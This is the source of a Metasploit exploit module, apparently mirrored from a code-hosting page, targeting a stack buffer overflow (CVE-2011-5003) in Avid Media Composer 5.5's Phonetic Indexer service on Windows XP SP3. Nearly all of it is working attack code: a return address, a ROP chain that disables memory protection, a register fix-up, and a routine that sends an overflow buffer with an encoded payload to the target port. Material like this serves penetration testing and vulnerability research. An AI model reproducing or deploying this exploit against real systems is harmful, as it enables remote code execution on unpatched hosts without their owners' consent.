Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/avidphoneticindexer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info={})11super(update_info(info,12'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",13'Description' => %q{14This module exploits a stack buffer overflow in process15AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer165.5 Editing Suite. This daemon sometimes starts on a different port; if you start17it standalone it will run on port 4660.18},19'License' => MSF_LICENSE,20'Author' =>21[22'vt [[email protected]]',23],24'References' =>25[26['CVE', '2011-5003'],27['OSVDB', '77376'],28[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],29],30'Payload' =>31{32'Space' => 1012,33'BadChars' => "\x00\x09\x0a\x0d\x20",34'DisableNops' => true,35'EncoderType' => Msf::Encoder::Type::AlphanumMixed,36'EncoderOptions' =>37{38'BufferRegister' => 'EAX',39}40},41'Platform' => 'win',42'Targets' =>43[44[45'Windows XP Professional SP3',46{47'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)48}49],50],51'Privileged' => false,52'DisclosureDate' => '2011-11-29',53'DefaultTarget' => 0))5455register_options(56[57Opt::RPORT(4659),58])59end6061def exploit62rop_gadgets = [63# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)64# a non-sayonara ROP would be super easy too, I'm just lazy :)650x7C344CC1, # pop eax;ret;660x7C3410C2, # pop ecx;pop ecx;ret;670x7C342462, # xor chain; call eax {0x7C3410C2}680x7C38C510, # writeable location for lpflOldProtect690x7C365645, # pop esi;ret;700x7C345243, # ret;710x7C348F46, # pop ebp;ret;720x7C3487EC, # call eax730x7C344CC1, # pop eax;ret;740xfffffbfc, # {size}750x7C34D749, # neg eax;ret; {adjust size}760x7C3458AA, # add ebx, eax;ret; {size into ebx}770x7C3439FA, # pop edx;ret;780xFFFFFFC0, # {flag}790x7C351EB1, # neg edx;ret; {adjust flag}800x7C354648, # pop edi;ret;810x7C3530EA, # mov eax,[eax];ret;820x7C344CC1, # pop eax;ret;830x7C37A181, # (VP RVA + 30) - {0xEF adjustment}840x7C355AEB, # sub eax,30;ret;850x7C378C81, # pushad; add al,0xef; ret;860x7C36683F, # push esp;ret;87].pack("V*")8889# need to control a buffer reg for the msf gen'd payload to fly. in this case:90bufregfix = "\x8b\xc4" # MOV EAX,ESP91bufregfix += "\x83\xc0\x10" # ADD EAX,109293connect94sploit = ''95sploit << rand_text_alpha_upper(216)96sploit << [target.ret].pack('V*')97sploit << "A"*732 #This avoids a busted LoadLibrary98sploit << rop_gadgets99sploit << bufregfix100sploit << "\xeb\x09"101sploit << rand_text_alpha_upper(9)102sploit << payload.encoded103sock.put(sploit)104handler105disconnect106end107end108109110